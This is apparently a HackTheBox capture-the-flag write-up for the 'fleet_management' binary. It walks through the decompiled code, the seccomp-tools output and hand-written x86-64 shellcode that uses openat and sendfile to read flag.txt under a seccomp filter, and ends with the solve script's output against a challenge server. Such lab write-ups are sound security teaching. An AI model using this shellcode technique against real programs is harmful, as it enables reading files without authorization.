Fleet Management
6 minutes to read
We are given a 64-bit binary called fleet_management
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
If we open it in Ghidra, we will see this main
function:
int main() {
setup();
fprintf(stdout, "%s %s Fleet Management System %s\n", &DAT_001023e5, &DAT_001020e9, &DAT_001023e0);
fprintf(stdout, "\n%s[*] Loading . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(2);
menu();
return 0;
}
It calls menu
:
void menu() {
long in_FS_OFFSET;
undefined8 uVar1;
char local_13 [3];
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
memset(local_13, 0, 3);
do {
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1b, stdout);
fwrite("| [1] View the Fleet |\n", 1, 0x1b, stdout);
fwrite("| [2] Control Panel |\n", 1, 0x1b, stdout);
fwrite("| [3] User Settings |\n", 1, 0x1b, stdout);
fwrite("| [4] Exit |\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1b, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1a, stdout);
fwrite("\n[*] What do you want to do? ", 1, 0x1d, stdout);
read(0, local_13, 2);
switch(local_13[0]) {
case '1':
fprintf(stdout, "\n%s[*] Connecting to the Encrypted channel . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
fprintf(stdout, "\n%s[*] Fetching Data . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
uVar1 = 0x10166a;
fwrite("\n=============================\n", 1, 0x1f, stdout);
fprintf(stdout, "| %s PDS Thanatos - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9, uVar1);
fprintf(stdout, "| %s CS Meteor - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9);
fprintf(stdout, "| %s LWS Proximo - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1, &DAT_00102178, &DAT_001020e9);
fprintf(stdout, "| %s STS Goliath - %s[%sInactive%s]%s|\n", &DAT_00102180, &DAT_00102178, &DAT_00102211, &DAT_00102178, &DAT_001020e9);
fwrite("=============================\n", 1, 0x1e, stdout);
fwrite("\nKey:\n", 1, 6, stdout);
fprintf(stdout, "%sPDS: Planet Destroyer Ship\n", &DAT_00102180);
fwrite("CS: Combat Spaceship\n", 1, 0x15, stdout);
fwrite("LWS: Light Weight Spaceship\n", 1, 0x1c, stdout);
fprintf(stdout, "STS: Space Transportation Ship%s\n", &DAT_001020e9);
break;
case '2':
fprintf(stdout, "\n%s[*] Authenticating . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
fprintf(stdout, "\n%s[!] Error: You are not member of an authorized group.\n%s", &DAT_00102211, &DAT_001020e9);
break;
case '3':
fprintf(stdout, "\n%s[!] Error: You should authenticate first.\n%s", &DAT_00102211, &DAT_001020e9);
break;
case '4':
fprintf(stdout, "\n[*] Bye! %s\n", &DAT_00102380);
/* WARNING: Subroutine does not return */
exit(0);
case '9':
beta_feature();
default:
fprintf(stdout, "\n%s[!] Error: Invalid Option.\n%s", &DAT_00102211, &DAT_001020e9);
}
} while (true);
}
This is a fairly large function, but the only option that seems to be insteresting is beta_feature
(option 9
):
void beta_feature() {
code *__buf;
__buf = (code *) malloc(0x3c);
mprotect((void *) ((ulong) __buf & 0xfffffffffffff000), 0x3c, 7);
read(0, __buf, 0x3c);
skid_check();
(*__buf)();
}
Basically, we have the chance to enter machine code instructions that will be executed. We can enter up to 0x3c
(60) bytes. However, we are limited by skid_function
, which implements some seccomp
rules to allow specific syscall
instructions:
void skid_check() {
undefined8 uVar1;
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x3c, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0xe7, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x101, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x28, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0xf, 0);
seccomp_load(uVar1);
}
In order to enumerate these seccomp
rules, we can use seccomp-tools
:
$ seccomp-tools dump ./fleet_management
🛰 Fleet Management System 📡
[*] Loading . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] View the Fleet |
| [2] Control Panel |
| [3] User Settings |
| [4] Exit |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? 9
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x0000000f if (A == rt_sigreturn) goto 0010
0006: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0010
0007: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0010
0008: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
So, we are allowed to use sys_rt_sigreturn
, sys_sendfile
, sys_exit
, sys_exit_group
and sys_openat
. There are quite a few websites that list all Linux x86_64 syscall
instructions with the needed parameters and register configuration. For example, this one.
With the allowed syscall
instructions, we can open the flag file (flag.txt
) with sys_openat
and send it to the stdout
file descriptor with sys_sendfile
. Additionally, we can exit with sys_exit
.
So, sys_openat
needs the following register setup:
$rax = 0x101
$rdi
has a directory file descriptor$rsi
has a pointer to the filename string$rdx
has some flags$rcx
has the mode of operation (this one can be omitted)
Specifically, we can go to man7.org and learn more about the meaning of the parameters:
int openat(int dirfd, const char *pathname, int flags);
There is an alias for a directory file descriptor called AT_FDCWD
that represents the current working directory (more information at stackoverflow.com). Moreover, we will open the file as read-only (O_RDONLY
).
Once we have sys_openat
set, we will receive the file descriptor of the flag file as the return value in $rax
. It will be the time to use sys_sendfile
(actually, sys_sendfile64
):
$rax = 0x28
$rdi
has the output file descriptor (1
, which representsstdout
)$rsi
has the input file descriptor (the one returned bysys_openat
)$rdx
has an offset where to start reading (0
)$rcx
has the count of bytes to send (for example,100
)
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
For people that have not written any assembly, it might be useful to write a C program with the above setup, compile it and analyze the generated assembly instructions:
#include <fcntl.h>
#include <stdlib.h>
#include <sys/sendfile.h>
void main() {
int fd;
fd = openat(AT_FDCWD, "flag.txt", O_RDONLY);
sendfile(1, fd, 0, 100);
exit(0);
}
$ gcc test.c -O3 -o test
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
This is the generated assembly code (optimized due to -O3
flag in gcc
):
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010a0 <main>:
10a0: f3 0f 1e fa endbr64
10a4: 50 push rax
10a5: 58 pop rax
10a6: 31 d2 xor edx,edx
10a8: 48 8d 35 55 0f 00 00 lea rsi,[rip+0xf55] # 2004 <_IO_stdin_used+0x4>
10af: bf 9c ff ff ff mov edi,0xffffff9c
10b4: 31 c0 xor eax,eax
10b6: 48 83 ec 08 sub rsp,0x8
10ba: e8 b1 ff ff ff call 1070 <openat@plt>
10bf: bf 01 00 00 00 mov edi,0x1
10c4: b9 64 00 00 00 mov ecx,0x64
10c9: 31 d2 xor edx,edx
10cb: 89 c6 mov esi,eax
10cd: e8 ae ff ff ff call 1080 <sendfile@plt>
10d2: 31 ff xor edi,edi
10d4: e8 b7 ff ff ff call 1090 <exit@plt>
Disassembly of section .fini:
This is great, but let’s do the same with syscall
instructions:
xor rdx, rdx
push rdx
mov rsi, 'flag.txt' # as hexadecimal number
push rsi
mov rsi, rsp
xor rdi, rdi
sub rdi, 100
mov rax, 0x101
syscall
mov rcx, 0x64
mov esi, eax
xor rdi, rdi
inc edi
mov al, 0x28
syscall
mov al, 0x3c
syscall
Notice how I set $rsi
to the pointer to "flag.txt\0"
, and also how $rdi = -100
(AT_FDCWD
). I also optimized a bit the use of registers so that the generated shellcode is shorter.
If we enter the above shellcode in the fleet_management
program, we will get the flag:
$ python3 solve.py 165.22.125.212:30121
[*] './fleet_management'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 165.22.125.212 on port 30121: Done
[*] Shellcode length: 0x38
[+] HTB{sh3llc0d3_45_4_b4ckd00r}
[*] Closed connection to 165.22.125.212 port 30121
The full exploit can be found in here: solve.py
.